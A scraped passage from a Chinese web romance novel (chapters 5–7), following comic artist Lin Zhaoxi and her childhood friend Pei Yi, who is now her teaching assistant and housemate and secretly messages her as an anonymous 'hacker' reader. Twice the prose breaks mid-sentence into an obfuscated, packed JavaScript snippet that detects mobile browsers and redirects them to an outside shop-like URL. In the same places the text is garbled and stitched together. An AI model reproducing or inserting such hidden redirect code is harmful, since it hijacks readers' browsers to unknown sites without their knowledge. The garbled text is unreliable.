这次,裴弈停下了讲解。他抬起头,目光在教室里缓缓扫视了一圈,最后,精准地定格在林朝晞身上。 “那位……”他顿了顿,唇角勾起一抹公式化的微笑,“穿着灰蓝色外套,坐在倒数第三排靠窗的同学。” 整个教室的目光“唰”地一下,全都集中到了林朝晞身上。 她瞬间僵住,手里的手机像个烫手山芋。 “上课期间,请把手机收起来。”他的声音透过麦克风,清晰又冷淡,“如果对课程内容有什么疑问,可以下课后来办公室找我。现在,请你回答一下,我刚才提到的‘数字媒体资产管理’的核心三要素是什么?” 林朝晞窘迫地站起来,大脑一片空白。她刚才光顾着生气和发微信了,鬼知道什么三要素。 教室里一片寂静,赵晓棠在旁边急得快把书翻烂了,想给她递答案。 她僵硬地站着,脸颊涨得通红,一个字也答不上来。 裴弈就那么看着她,眼神里没有一丝波澜,仿佛在看一个完全不认识的、上课开小差被抓包的普通学生。 几秒后,他才淡淡地开口:“看来这位同学上课不太专心。坐下吧,下次注意。” 林朝晞“噌”地一下坐下,把头埋得低低的,恨不得在桌子上挖个洞钻进去。 周围传来几声压抑的偷笑,她感觉自己的脸烧得能煎鸡蛋。 这家伙,绝对是故意的! 这节课剩下的时间,林朝晞感到度日如年。 她再也不敢碰手机,只能强迫自己听课,但满脑子都是裴弈那张云淡风轻的脸,和自己刚才丢人现眼的场景。 好不容易熬到下课铃响,那熟悉的铃声在林朝晞听来,简直像天籁之音。 裴弈刚宣布“下课”,前排的女生们就立刻围了上去,七嘴八舌地问着问题,有的请教课程难点,有的打听他的学历背景,还有的借着问问题的名义,偷偷和他搭话。 林朝晞看着那场景,知道现在不是找他理论的时候。 她收拾好东西,对赵晓棠说了声“我先走了”,便快步溜出教室。 她没有直接离开教学楼,而是绕到走廊尽头的拐角处,站在一根粗壮的柱子后面,悄悄观察着从教室里出来的裴弈。 他被一群学生簇拥着,耐心地解答着每一个问题,语气温和,态度谦逊,和课堂上那个冷漠点名的助教判若两人。 一路走到教学楼门口,他才笑着和学生们道别,然后转身走向教师办公楼的方向。 林朝晞像个蹩脚的侦探,远远地吊在他身后。 她想当面找他问个清楚,但又不想被同学们看到她和他认识。 裴弈的步伐不快,像是在散步,双手插在裤兜里,背影挺拔。 他拐进一条通往教师办公楼的僻静小路,路边种着几排梧桐树,落叶铺了一地,踩上去沙沙作响。 周围的学生渐渐散去,小路很快就只剩下他一个人的身影。 林朝晞看准时机,深吸一口气,快步跟了上去,脚步尽量放轻,却还是忍不住有些急促。 就在她离他还有三四米远的时候,前面的人突然停下了脚步。 他没有回头,只是淡淡地开口,声音在安静的小路上显得格外清晰,带着点似笑非笑的意味: “这位同学,从教室跟到这里,是有什么事需要我单独辅导吗?” 林朝晞的脚步瞬间钉在原地,心脏猛地一跳。 被发现了!他怎么这么敏锐! 她脑子飞速运转,立刻否认:“我、我没有跟踪你!我只是……只是刚好也走这条路!对,我要去办公楼附近的打印店打印资料。” 她急中生智,随便编了个借口,眼神却有些闪躲,不敢直视他的背影。 裴弈终于转过身来。 他微微歪着头,好整以暇地看着她,眼神里带着点毫不掩饰的戏谑,像是早就看穿了她的谎言: “是吗?可这条路通向的,只有教师办公室。打印店,好像在相反的方向吧?” 林朝晞被他一句话堵得哑口无言,索性破罐子破摔,挺起胸膛,像是要给自己壮胆:“好吧!我是有事要问你!” 她几步走到他面前,仰着头,气势汹汹地质问:“你为什么会来我们学校当助教?” 裴弈看着她气鼓鼓的样子,不答反问:“我当助教,需要向你报备?” “你!”林朝晞又被噎住,“我不是那个意思!我是说……以你的学历,去gg、去ms都绰绰有余,为什么要来这里?” 他不急不俆地看了她会儿,随即垂下眼,看着脚下被风吹动的落叶,语气轻描淡写,像是在说一件无关紧要的小事:“就是想换个环境生活了,不可以吗?” 这个说法,和上午同学们八卦的猜测一模一样,听起来合情合理,林朝晞却觉得哪里不对劲。 她皱起眉,死死地盯着他,试图从他脸上看出点破绽:“真的就只是这样 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林朝晞实在忍不住,放下筷子,把今天在学校发生的事一五一十地跟林妈说了。 林妈:“谁让你上课玩手机嘛,是不对,该点名!” 林朝晞辩解道:“……我又不是玩手机,我是给他发微信。” “有什么事下课再说也一样的,”林妈拍了拍裴弈的肩膀,“正好,以后让小弈抓一抓你的功课。” 她眉心一皱,不情不愿地:“抓我功课干嘛,我学习挺好的。” “是还不错,但是还有进步空间啊。”林妈对裴弈嘱咐道,“小弈啊,以后晞晞要是学习懈怠了,你可及时跟阿姨说,啊。” 裴弈抬眸看了一下林朝晞,微笑说:“好。” 林朝晞轻轻翻了个白眼。 这场面,似曾相识。 她上小学的时候,妈妈也是这样让裴弈抓自己学习,从那以后,她放学就只能呆在书房,被他监督着写作业。 偶尔想偷懒抄同学作业,都会被裴弈捅到妈妈那里去。 怎么十几年过去了,她还活在他的掌控之下啊?! “我明天开始不回来住了。”她有点赌气地说。 “好的呀,小弈跟你一起住,我也放心,不然你那房子都是男的,你一女孩多不合适啊。”林妈优哉游哉地喝了口汤,“对啊,你俩住那儿,可不要整天吃外卖啊,对身体不好的,还有晞晞,不能老是熬夜,小弈,你帮我看着点儿她,她啊,天天画那个什么画,都是到半夜才睡的。” “阿姨放心,我会照顾好她的。” 眼看裴弈的态度十分配合,林朝晞又翻了个白眼。 吃完饭,她带着一肚子火回到房间。 打开电脑,看着那个被黑客大佬修改过的稿子,思路前所未有的清晰。按照大佬的建议画下去,故事的节奏和张力确实比她自己瞎琢磨要好上太多。 她忽然很想再得到一些指导。 她点开自己的读者群,翻了半天群员列表,也没找到叫【日】的用户。 他到底在不在群里? 林朝晞犹豫了片刻,最终还是在群里敲下了一行字。 【请问……那位帮我改稿的黑客大佬在群里吗?想加个好友,当面感谢一下!】 5. 拿来。 昨天晚上,林朝晞发出去的消息石沉大海。没有得到任何人的回复,也没有谁来加她好友。 不过她本来就不抱期望,所以没有觉得失落。 大佬盗她号这事儿,她始终觉得是大佬太闲,想给自己找点事干。偶发属于正常,要是长期给她当编辑用,反倒不正常了。 林朝晞来到教室,拿出未完成的英语作业,在座位上坐下来。 现在才七点四十分,八点才上课,同学们还没有来教室,她是因为昨晚没有完成作业才提前来教室补的。 自从开始更新漫画后,她现实的很多事情都顾不上,比如按时完成作业,比如八卦别人的事情。 林朝晞做完最简单的第一题,看着密密麻麻的完形填空开始犯难。 手机屏幕亮起来,是有人在宿舍群里发了张今天的课表,第一节是裴弈的《数字媒体技术》。 她看见那个熟悉的名字,想起高中时,她总是把暑假作业拖到最后几天才做,每次完不成,都是求着裴弈帮她写。 裴弈也只有这种时候才会惯着她——毕竟班主任真的很凶,骂哭过班里几乎所有女生。 她想到那次,班主任质疑她的字怎么突然变漂亮,她支支吾吾半天答不上来,后来隔壁班的老师凑过来看,说很像他们班裴弈的字…… 结果就是,他俩一起被骂得狗血淋头。 也由于挨骂的对象是裴弈,直接导致这事儿上了学校贴吧热帖。 她想到当时,裴弈那有点难看的脸色,情不自禁笑出声来。 “想什么呢,”一道熟悉的声音从背后传来,“写个试卷也能笑?” 林朝晞抬头,看见裴弈正站定在她旁边,视线扫过她的试卷:“昨晚的作业?” 她既怕他点评她的作业,又怕她把这事告诉妈妈,一时防备心十足,双手趴上桌子,把试卷捂得很严实:“不关你事。” 他眉头动了一下,好像有点嫌弃:“捂什么?我又不抄你的。” 她听得一愣,不由得想到刚才回忆起的往事,忍不住笑了笑。 裴弈放下讲义,单手撑在桌子上,歪了歪头,用食指戳她的额头:“你熬傻了?” 林朝晞被他戳得往后仰了仰,不满地嘀咕:“你才傻呢。” 他看了她会儿,视线再次扫过她的试卷:“你昨晚画到几点?” 她下意识想说实话,但觉得他可能会和妈妈告状,话到嘴边又改了口:“没画啊,我直接就睡了。” “哦,”他一挑眉,重新把讲义拿到手里,“我不介意帮你看看你的作品,顺便提点建议。” 林朝晞有点惊讶。 裴弈对漫画从来不感兴趣,对她画漫画这件事更是从来不支持,两人甚至因此大吵过,他怎么这会儿突然改口了? “不用,”她有点别扭地抗拒道,“才不要你看……” 反正他肯定说不出什么好听的话。 他目光落在她脸上,似乎还想说点什么,但教室陆续有学生走进来,他只好拿着讲义回到讲台。 林朝晞望着他的背影,有一丝莫名的怅然。 裴弈的身形明显比少年时期要高大,也更结实,穿着大人才会穿的衬衫和西裤,皮鞋、腕表,俨然一副成熟的模样。 不仅再也不会帮她写作业,两人也不会再有一起挨骂的场景了。 林朝晞难得忧郁地叹了口气,继续埋头写作业。 临近上课,赵晓棠才走进教室,急匆匆地闯进来,在她旁边坐下:“哎哟不得了不得了,差点迟到了。” “嗯,要不是我,你可就没位置了。”林朝晞头也没抬,一边在手机上查单词,一边说。 “嘿嘿,你倒是难得,今天来这么早,”赵晓棠凑过来看,“对了,我跟你说,昨天好多女生找裴老师要微信都被拒了。” 林朝晞听见【裴老师】这个陌生到有几分怪异的名称,下意识皱了皱眉,停下笔:“是么?” 赵晓棠:“是啊!有大胆的女生缠了他很久,结果你猜他怎么答?他说有喜欢的人了。” 林朝晞惊讶地抬起头:“有喜欢的人?” 赵晓棠:“对啊,倒没说有女朋友啥的。” 林朝晞望向讲台上的裴弈,他正垂头在看讲义,两手支在桌上,平直的肩膀很宽,在衬衫的肩部撑出一些褶皱,凝神的样子看上去十分可靠。 “这样哦……”听见裴弈有喜欢的人,林朝晞有种说不上来的陌生感。 他们虽然认识了很长时间,但从没有谈过这类话题,在她印象中,裴弈也一直是单身。 原来他也会喜欢谁啊。 神奇。 林朝晞撑着下巴,目光重新落在试卷上。 - 一天的课程很快结束。 晚自习后,林朝晞收拾好物品,离开教室,直奔租房。 她正上大三,课程比大二少了些,但晚自习还是不能逃。 自习上到八点,她回到租房要十分钟,洗澡洗头二十分钟,从20:30直到睡前是她画稿的时间。 平台最低的更新要求是月更1话,1话20-40页不等。 漫画除了剧情和画风要吸引人,最重要的就是更新了。 她花费几个晚上画出来的十多页,读者只需要几分钟就能读完。 如果更新很慢很慢的话,会被读者遗忘,追读率下降,平台也会停止推流。 所以她对自己的要求是最少周更1话。 回到租房,林泽好像出了门,另一个男室友则是房门紧闭,只有裴弈的房门敞开着。 林朝晞径直来到他房门口,从半开的门只能看见他的床,铺着浅灰色的床单,枕头和被子叠得整整齐齐。 想到他说有喜欢的人,她有点好奇,想去问他,便抬手敲了门。 门内没有回应,她迟疑地推开门:“裴弈?” 房里空无一人。 “不在么……”她喃喃道。 随后回了自己房间,洗过澡后,盘腿坐在椅子里画画。 之前大佬给她列的三话简纲,她已经完成了一话的大半,正进入收尾阶段。 虽说有人列简纲,她不用思考大方向,但细节怎么呈现,还是个需要考虑的问题。 “男主这样说话会不会ooc啊……”她单腿立于椅子上,一手拿数位板,一手捏着笔,笔尖抵着下巴,苦恼地自言自语道。 对她来说,人物塑造是最难的了,不同性格的人会说不同的话,对待同一件事会有不同的反应。 而她总是下意识从自己的角度去思考,画出来往往不符合人设,要一改再改。 林朝晞思索半天,有些泄气地把数位板和笔丢在桌上,下了椅子,倒在床上哀嚎:“啊——” 她拿起手机,发了条朋友圈:【立人设好难啊!!!】,并附带了一张哭泣的表情包。 随后,一边把脸埋在枕头里来回滚动,一边思考人物到底会怎么行动。 不知过了多久,“叩叩”的敲门声响起。 只穿睡衣的林朝晞从床上爬起来,望着门口:“谁呀?” “我。”来人只答了一个字。 但她还是凭着那嗓音认出来是裴弈:“怎么了?” “你先把门打开。” “……你自己进来不就行了?”她提高音量,抱怨了一声。 门应声打开,裴弈走进来,上下打量了床上的她,微微皱了眉,冷淡评价道:“衣冠不整。” 林朝晞穿的冬款睡衣,长袖长裤,衣领开着两颗扣子,因为动作,此刻有些歪斜,露出一片胸前的肌肤,雪白光滑。 她的脸被闷得发红 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17093783|195563||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,双颊泛着健康的红晕,头发披散在肩上,天生的自然卷,像烫过的大波浪卷发,一双脚裸着,没穿袜子,洁白小巧。 “我哪有。”她反驳一句,还是抬手理正了自己的睡衣,顺便拢了拢自己乱糟糟的长发。 裴弈没有关门,只是轻轻掩上,走到她书桌旁,随意扫了眼她的电脑和数位板,说:“你画的漫画呢?拿来我看看。” 虽然他没有直接拿起她的数位板,但她还是警惕地下了床,鞋都来不及穿,就一把将数位板抱在怀里,后退了几步,戒备道:“你为什么要看?” “……”他动了动嘴角,似乎有点无语,又好像是无奈,“看看你画得怎样。” 她的脚踩在地板上,冰凉的触觉直达脚心,冷得她一哆嗦,在一旁的床坐下来,紧了紧怀里的东西,扭捏道:“不要。” “……为什么?” 林朝晞看着他,咬紧了唇,卷翘的黑睫垂下来,衬得肤色愈发冷白光洁。她静了好一会儿,才低声说:“给别人看自己的漫画,很羞耻欸。” 裴弈一时也没说话,林朝晞的脚趾来回蜷缩,既有点不自在,又有点别扭。 其实除了羞耻,还有她怕被嘲笑的原因在。 她画漫画本来就没什么自信,要是再被裴弈那张嘴打击一下,来一句【你这水平就别画了】之类的,她觉得自己会直接哭出来。 “有什么好羞耻的,我连你的情书都看过了。” 林朝晞一听他提起这事就炸毛了:“哎!那又不是我写的情书!都跟你解释多少遍了!” “拿来。”他走近些,伸出手来。 “唔不行!”她连滚带爬地溜上床,躲到床头才作罢,双手将数位板紧紧地护在胸前,那姿态,像个躲避坏男人侵/犯的无辜小姑娘。 她警戒地睨着他:“不给你看!” 裴弈:“……” “你出去!”她声音不大不小,正好能让外边的人也听见。 他站在原地,盯着她,什么也不说,那双眼黑如点漆,像在翻涌着什么情绪。直勾勾看得林朝晞不敢放松警惕。 房间里暖和的空气仿佛凝滞,时间被拉得漫长无比。 “你出去。”她有些怕,声音放软了点。 虽然裴弈不曾抢过她什么东西,但她就是莫名的怕。总觉得他不得逞就不会轻易放弃。 “你又不懂漫画!看什么看,出去。”她朝他挥挥手,赶客道。 裴弈总算挪开视线,极小幅度地点点头,吐出一个字:“行。”随即走出房间,关上了门。 门关上了好一会儿,林朝晞才放下心来,松了口气。这时,她忽然想起,自己忘了问裴弈是不是有喜欢的人这件事。 她没心思思考这个,小心翼翼下了床,打开门往外看。 客厅的灯关了,另外几个房间也都关着门,走廊只亮着一盏微弱的灯。 她合上门,手停在门把上,想了想,反锁了。 一墙之隔。 “咔哒”一声,反锁门的声音从隔壁传来。 裴弈听得真切。 这家伙,还反锁门。 这么怕他,至于么? 他拿起手机,重新点开朋友圈。 半小时前,林朝晞发的朋友圈还在,他指尖往下一滑屏幕,刷新了下,朋友圈倏地消失了。 显然是删了或者设为【他不可见】了。 他思及此,眸色沉了沉。 她这种隐隐约约的、对他的排斥感令他有些不快。 从四年前那件事后,她就对他有了距离感。从前,明明什么都会主动来和他商量的。 裴弈的指尖在手机边缘缓缓抚摩。 他沉默了良久,点开林朝晞的□□,复制她的Q号,随后把自己的小号昵称改成【日】,给她发了条好友申请。 6. 呵呵 手机屏幕亮起,弹出一条新消息,来自Q/Q:【日请求添加您为好友】 林朝晞瞟了一眼桌角的手机,画画的手没停。她专心地勾勒完主角的发丝,才忽然停顿住,把笔握进手心,拿起手机查看。 她除了打开读者群很少用Q/Q,点开那个申请,一个陌生用户的头像弹出来,昵称是【日】,头像用的初始头像,等级只有1级,看起来像刚注册的。 是黑客大佬! 她笑着通过了那个申请,忙不迭给人发去消息:【大佬!!是你吗!!!】 对面大约缓了几秒,才显示【正在输入中】,发来一条消息:【你好】 林朝晞:【真的是本人!上次的事,谢谢您!按照您的建议去改稿后,我感觉剧情顺畅了许多!】 日:【呵呵】 林朝晞歪了歪头,预备输入的手停住了,大佬给她发“呵呵”是什么意思?是普通的笑,还是嘲笑、冷笑? 她不疑有他,回复道:【^_^您好呀,晚上好,吃饭了吗?】 【您是看到我在群里发的消息才来加我的吗?感谢您一直以来的支持,尤其是上次给出的分镜建议,真的很专业呢!看得出来您很懂漫画!】 日:【呵呵】 “咦,怎么又笑了?”林朝晞困惑地挠挠头,发过去一个很可爱的比心表情包。 林朝晞:【对了,您给我刷的钱我都存在账号里,一直没提现,您是不是刷错了?要不,我现在退还给您?】 日:【现在画成什么样了,发来看看】 林朝晞愣了愣。 他怎么无视她说的话啊?而且,说话也没有用一些【请】、【可以吗】之类的礼貌用语,感觉好拽,好没礼貌。 她撇了撇嘴,对这个人印象分-1。 但还是回复道:【是要看我新画的后续吗?还没画好呢】 随后发过去自己的草稿。 对方很快接收了文件,然后陷入沉默。 林朝晞等着回复,有些忐忑,手指不住地敲在手机边缘。 他这是要帮她看稿吧,毕竟后续剧情他都知道了。 不知道会怎么评价呢,上次他给的意见,就是很客观地指出问题,不带个人情绪。但这回是面对面…… 聊天界面显示【对方正在输入】。 “这么快?”林朝晞的心一下就揪住了,既害怕被不留情面地批评,也期待能被肯定。 日:【[截图],男主说的话脱离人设】 日:【[截图],这两个分镜调换】 日:【节奏还可以优化,前两页废话太多了,迟迟没有进入核心剧情】 日:【不过比上次好多了,你先改吧】 林朝晞:【谢谢您,我会认真参考的。但是人设方面,我还想请教一下】 两人就人物塑造这个话题,一来一回聊了会儿。 日:【先改吧,说太多你消化不了】 林朝晞:【好的大佬,谢谢您!对了,关于我刚才说的打赏,要不我退还给您吧?】 日:【不需要】 日:【不差这点】 不差这点。 他居然说不差这点。那可是两万块!她出去做家教一小时才赚200。 林朝晞:【好吧,是不是留子都比较壕啊】 日:【你还有什么问题?没有我下了】 “又无视我……”林朝晞不满地嘀咕了一句。 林朝晞:【暂时没有了!不过,如果之后有的话,还能向您请教吗?虽然一直打扰也挺不好意思的。。】 日:【嗯】 林朝晞:【谢谢(比心.gif)】 林朝晞放下手机,重新拿起数位板,开始改稿。有了大佬的帮助,她画画明显更顺利了。 偶尔有拿不准主意的地方,想继续问他,又觉得这样不太好,便自己做决定。 次日清晨,林朝晞洗漱完毕,推开房门。 几乎是同一时刻,隔壁房间的门也打开了。 裴弈站在晨光微熹的走廊里,身上是一件质地柔软的浅灰色衬衫,最上面的两颗扣子松着,袖口规整地挽到手肘,露出线条清晰的小臂。 他手上搭着一件深色西装外套,整个人看起来清爽而利落,带着一种略带疏离的整洁感。 他的目光落在她脸上,像是早就知道她会在这个点出来。 “早。”他开口,声音比平时更淡一些,听不出什么情绪。 “早……”林朝晞下意识应了声,眼神有些闪躲。 经过昨晚那么一闹,现在单独碰面,空气里总弥漫着一丝说不清的尴尬。 她注意到他眼下有极淡的阴影,不明显,但在他冷白的皮肤上还是能看出一点痕迹。 是没睡好?她脑子里莫名冒出这个念头。 裴弈没再多说,只是在她面前略微停了一下。 走廊不宽,他经过时,那股清淡的香水味便拂了过来,带着晨间的凉意。 他没看她,径直走向大门,只在擦肩时,留下了一句听不出是陈述还是提醒的话:“第一节有课,别迟到。” “哦。”她拿上包,匆匆忙忙跟上去。 从租房到学校,是一条安静林荫大道。路两旁种满了高大的香樟,枝桠交错着遮天蔽日。 晨光穿过叶片间隙,筛下细碎的光斑,落在两人身上、脚下,随着脚步轻晃,在衣料上摇曳出流动的光影。 风一吹,树叶簌簌作响,带着草木的清新气息,裹着微凉的晨雾,漫过鼻尖。 林朝晞踩着这些光斑,嘴角不禁上扬:“我们要一起去学校吗?” “不然…你绕道?”裴弈走在她前面,语气平淡。 “嘁,你干嘛不绕道!”她走快了两步,和他并肩。忽然想起高中时,他们也常走这样一条林荫道上学。 那时,也总是她在叽叽喳喳说个不停,他安静听着,时不时怼几句。 林朝晞走着走着,忽然笑了出来。很轻的一声,像叹息,又像真的欢喜。 裴弈的声音随着微风送过来,平淡无波,像随口一问:“发生什么好事了,这么高兴。” 她嘴角的弧度还没完全落下:“没有啦。” 他脚步没停,目光落在前方的路,心里却掠过一丝了然。 不问也知道,肯定是因为 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17093784|195563||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 她得了“贵人”相助。 他想起昨晚的事,略微不爽地压了压眉。 她沉默着走了两步,犹豫片刻,还是忍不住开口,语气带着点雀跃的试探: “就是突然想起,以前我们也经常一起上学,走的那条路也有这么多树,就……挺高兴的,有种回到学生时代的感觉。” 裴弈的脚步骤然顿住。 她有些迟疑地停下来,回头看他,问:“嗯?怎么了?” 晨光落在他半边脸上,冷白的皮肤泛着浅淡的光泽。原本无波无澜的眼眸里,像漾开极淡的一圈涟漪,快得让人抓不住。 林朝晞像受到鼓励般,径直说下去:“对了,你还记不记得你帮我写暑假作业那次?被廖老师发现,把我们俩大骂了一通,现在想起来还觉得好笑…… 不过,我前阵子听别人说,廖老师现在调到教研室了,不带班了呢。” 她说到最后,眼底划过一丝惆怅。 见裴弈一句话都没说,更失落地转过身去,自顾自向前走:“反正你肯定不记得了吧。” 他连出国这么大的事都没有告诉她。也许,这段友谊和往事,只有她很在意而已。 一只手毫无预兆地按上她的头顶,停顿了一秒,随后揉乱了她的头发。 “谁说我不记得?托某人的福,我人生头一次被老师骂。”他嘴上抱怨,语气和动作却很轻。 林朝晞愣在那里,等裴弈收了手,才慢一拍地去梳理被弄乱的头发。 “干嘛揉我头发。”她小声念叨。心里却并不排斥,嘴角浅浅地弯起来。 看在他记得的份上,算了。 她脚步雀跃地跟上他,两人肩并肩,距离仿佛比刚才近些。 “对了,你本科学的不是计算机吗?怎么硕士改学数字媒体技术了?”她偏过头,说,“和我的专业方向倒是相似了。” 裴弈目视前方,侧脸线条在斑驳光影里显得格外清晰。他静默了几秒,才开口,语气是一种经过斟酌的平淡:“刚好也有兴趣。” “哦……”林朝晞点了点头,忽然又想起什么,带点试探和好奇,声音压低了些,“那个……我还听说,你有喜欢的人了?是真的吗?” 裴弈的脚步再次停下,转过脸,目光沉沉地看着她。 光影在他挺拔的身形上流转,落在他的睫毛上,投下一小片阴影,让他的眼神显得格外深邃,带着点说不清道不明的深意。 “谁跟你说的?”他没答反问,声音比刚才低了些。 “就我们班同学啊,”林朝晞没察觉他语气里的异样,老实回答,“说好多女生找你要微信都被拒了,你说你有喜欢的人了。” 裴弈盯着她看了几秒,忽然开口:“你在意吗?” “啊?”林朝晞愣住了,下意识反问,“在意什么?……我只是好奇,毕竟认识这么多年,第一次听说你有喜欢的人。” “不在意你还问。”他说完,最后斜她一眼,转身继续往前走,步伐比刚才快了些。 林朝晞被独自留在原地,看着他的背影,困惑地皱了皱眉。 她又追上去:“那,到底是有,还是没有啊?” 7. 《春》 林朝晞追着裴弈问了两步,还没等他回头,身后就传来熟悉的喊声:“朝晞!等等我!” 她下意识停下脚步,回头就看见赵晓棠背着书包,快步朝这边跑过来,脸上带着雀跃的笑意。 “可算赶上你了!”赵晓棠跑到她身边,喘了口气,目光扫过旁边的裴弈时,愣了一下,随即礼貌地笑了笑,“裴老师早上好。好巧,你们……也是在路上遇到的?” 裴弈微微颔首,算是回应,语气平淡:“早。” 林朝晞被赵晓棠打断,只好顺着话头说:“是啊,刚好碰到。” 裴弈已经迈步前去,没有要和她们同行的意思。 赵晓棠拉住林朝晞的手腕,压低声音,八卦地兴奋道: “我跟你说,刚才在早餐店遇到咱们系的系草,他说月底和隔壁州大的计算机系搞联谊会,你去不去啊?” “不去。”林朝晞想也没想就拒绝了。珍贵的周末时光她想用来赶稿,而不是出去玩。 “哎呀,别拒绝得这么快,”赵晓棠用手肘顶了顶她,“系草也去哦,他还没有女朋友呢,要是看上咱们呢?” 林朝晞古怪地瞟了她一眼:“你想去就去嘛。” 赵晓棠有些含羞地搂住她的臂膀,娇嗔道:“我一个人……我社恐!你陪我去呗~” “你社恐?”她几分嫌弃地上下打量赵晓棠,“上次篮球赛,你直接冲上去找人家要微信的事儿,我可没忘。” “那不一样~那是公共场合,联谊可是私密场景!” “有多私密啊。”林朝晞随口敷衍一句,视线已然飘远。 联谊这个剧情可以,等她的男女主再发展一段时间感情,也可以加入这个情节推一下感情线。 “就一个包厢里,大家会一起玩游戏啊唱k喝酒啊什么的。看对眼了就加个联系方式咯。” “哦。”林朝晞点点头,心下已经开始盘算,自己的男女主人公在这个情节里,会怎么表现。 赵晓棠盯着她看了会儿,突然站到她面前,挡住了她的去路,认真道:“林朝晞,你老实告诉我,你最近到底在干嘛?” 林朝晞有些困惑地皱了皱眉:“没干嘛啊。” “骗人。你是……”赵晓棠上下扫视她一圈,“谈恋爱了?看打扮也不像啊……我感觉你这阵子老是魂不守舍的。作业经常交不上来,上课天天打瞌睡,约你去玩总说有事。” 林朝晞心虚地别开了视线,擦过她的肩,往前走:“没有啦,就是......搞了点小爱好。” “什么小爱好?”赵晓棠狐疑的视线都快把她盯穿了,“健康吗?违不违法?” 林朝晞笑出声来,戳了戳她的脸:“想什么呢你?非常绿色好吧。” “唔……那行吧。对了,下个月有个短篇漫画比赛你参加吗?” 她们就这么边走边聊,赵晓棠还在兴头上:“听说比赛奖金挺丰厚的,还有机会刊登上《漫星》,虽然只有几页的篇幅,但是个很好的机会欸。画的漫画能上杂志,光想想就很兴奋!” “那个啊,我知道。” 那比赛的报名截止时间已经很近了,是个命题漫画,主题是《春》。题目就一个字,没有其他的信息,篇幅大约在10-15页之间。 林朝晞正盘算着时间,教学楼熟悉的灰色外墙已经映入眼帘。 晨间的人流多了起来,不少学生抱着书或提着早餐,三三两两地往楼里走。 “你参不参加?”赵晓棠扯了扯她的袖子,追问道。 “我考虑一下……”林朝晞话还没说完,就被赵晓棠拉着加快了脚步,“快点儿,要打铃了!” 两人小跑着挤进教学楼的大门,爬上楼梯,终于在早课铃响起的前一刻,踏进了阶梯教室的后门。 教室里已经坐了大半,嗡嗡的说话声和翻书声混在一起。 赵晓棠眼疾手快地找到两个靠后的空位,拉着林朝晞溜过去坐下,这才松了口气,凑到她耳边用气声说:“联谊的事,你再想想哦!为了我的幸福!” 林朝晞胡乱地点点头,从包里抽出课本。 英语老师的上课风格是亢奋激情风,她的目光跟着老师移动,不时在课本上做笔记。 她原来没有打算参加这个漫画比赛。 因为刚签上芳林,她的时间和精力都用在网站连载上。但现在距离比赛还有段时间,她的连载又开始稳定了,如果能挤出时间画一个10页的小短篇,送去参赛也不错。 她笔尖落在课本空白处,停顿片刻,迅速描出来一株破土的嫩芽。 春。春天?是要画季节吗? 画植物拟人的小故事怎么样呢? 这一天,她不时沉浸在命题思考中,也利用课余时间列了个大概的故事走向,但还没有拿定主意。 她回到租房,弯下腰在玄关换鞋。 林泽捧着一盆枝叶舒展的绿植经过:“回来啦?” “嗯。”她应了声,目光还落在那片生机勃勃的绿意上。是她之前养的吊兰,因为总没时间照顾,便送给了林泽。 “吃过饭了吗?要不要一起吃?” 她的目光从林泽手上移至他的脸,回过神,笑了一下:“好呀。” “也叫你朋友一起吧?正好大家认识一下。前阵子我忙着找工作,都忽略了欢迎你朋友入住呢。”林泽把吊兰放回原位,对林朝晞说。 “那我去叫他。” 林朝晞回到房间把包放下,径直来到隔壁房门口,见门虚掩着,直接推开了门:“裴弈。” 裴弈房间不大,入门左手边是一个定制衣柜,旁边一张床,床对面一张书桌,再一个很小的阳台、一个独卫,就没有其他了。 他站在衣柜前,正在穿一件黑色针织衫,衣服从头部套入,布料尚未完全垂落,勾勒出肩背利落的线条。 在听见她叫他名字时,他穿衣的手停滞了一拍。 就是这瞬间的迟滞,让林朝晞的目光猝不及防地掠过他腰间紧窄的轮廓。 房间暖色的光线从头顶漏进,在他冷白的皮肤上投下一道明暗交界线,那里的肌理因动作而微微收紧,显得精瘦又富有青年人独有的清韧感。 她呆滞地看了片刻,随后低呼一声,“啪”地合上门:“不好意思不好意思!” 慌张带动了心跳的速度,她手搭在冰凉的门把手上,静待心跳归于平缓。 上一次她不小心看见他换衣服,还得追溯到初中了。当时她反应有这么大吗? 她追忆起从前,却记不清当时的情况。 只记得少年时的他还带着青涩,不像现在,浑身都透着成熟男性的荷尔蒙气息,让人莫名局促。 裴弈很快从里拧开门,黑色针织衫已经穿好,袖口松散地落在小臂,衬得手腕冷白修长。 他面色平静无波,像什么也没发生过,只有黑发因为穿衣的动作,落下几缕搭在额前,冲淡了些许平日的规整感。 “怎么了?”他问,声音是一贯的平淡。 “呃,林泽叫我们吃饭。”她往后退了退。 “嗯。”他没再多问,径直走向厨房,留下一个清爽而淡定的背影。 林朝晞回看了一眼房间,帮他带上门。 看见裴弈的身体,她有种怪异感,还有些尴尬。只有在这种时候,她才会清晰地意识到,裴弈是异性,是成年男人。 小时候,他们有着模糊性别的亲密,然而,现在这种陌生又清晰的性别感让她感到拘束。 她已经不能像从前一样随意闯入他房间了—— 这种突然划出来的界限,像有实质般,让她顿时有点失落。 “是不是我想太多了?”她细声抱怨,有些苦恼地抓了抓脸。裴弈好像根本不在意被她看到,她一个人在这可劲儿地想。 一阵温暖的饭菜香从厨房弥散开来,混合了玉米的清甜、筒骨的醇厚,还有淡淡氤氲的水汽,瞬间包裹住客厅。 